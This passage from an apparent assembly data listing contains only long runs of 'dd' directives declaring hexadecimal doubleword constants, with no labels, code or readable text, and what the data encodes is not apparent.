406C21Fh, 21A9DAC0h, 168BDFh, 50176655h dd 19458940h, 0B70FF200h dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h dd 1F20047h, 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh dd 1D99DCh, 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h dd 45B398Eh, 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh dd 0B681D291h, 75393Eh, 0AA51F527h, 4F42EDh, 0E31224A6h dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h dd 2CE4542h, 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h, 308D8Bh dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h, 8A05C283h dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh, 0F1450B0h dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h dd 0D1C680h, 83740567h, 724FBA68h, 0F021D605h, 0F780753Bh dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah dd 478100EFh, 17C5625h, 6800625Bh, 12F03918h, 1DBDDA1Ch dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h, 0FC1C400Bh dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh, 60553899h dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h dd 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h, 4D786599h dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh, 5513B2ECh dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h, 0CCB3DF01h dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h, 13B07E00h dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h dd 90C916h, 0D302D088h, 49F3D69Dh, 18000574h, 955B1C36h dd 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h, 2894200h dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh dd 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh, 0B948A2FFh dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h, 3A00D845h dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h, 3C00E340h dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h, 8230014h dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h, 1BAC2040h dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh, 0F1071EA8h dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h, 2B8E2699h dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h dd 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h, 127D600h dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh dd 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh, 0B143A300h dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h, 7A000BFCh dd 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h, 3437BF1Fh dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h, 90011D45h dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh, 0FDC44BAFh dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh dd 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h, 5E9F8Eh dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh dd 1107053h, 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h dd 50A28C91h, 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh dd 902D7580h, 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch dd 82801E4Bh, 768F303h, 5615FC99h, 8108A023h, 4500503Eh dd 27414C6h dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh, 79E7C53Fh dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h, 8E037F86h dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h, 770A120h dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h, 0D2F75BD3h dd 25D100E4h, 57AD089h, 0B928C8ECh, 4B00C4B7h, 72D54442h dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h dd 6972000h, 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h dd 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h dd 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h dd 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh dd 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h dd 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h dd 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h dd 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h dd 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh dd 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh dd 6581E542h, 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh dd 646885BDh, 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h dd 278358E0h, 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h dd 0B4517F52h dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh dd 0A9165Ch, 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h dd 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch dd 592556AFh, 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h dd 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h, 201018h dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h, 90C0204h dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch, 0A7C43818h dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h, 4C70253Ch dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h, 51766CF1h dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h, 0C64B972h dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh, 6AC24225h dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh, 0EAFC6101h dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh, 319C0C56h dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh dd 3896DEh, 6C05265Ch, 4C185B66h, 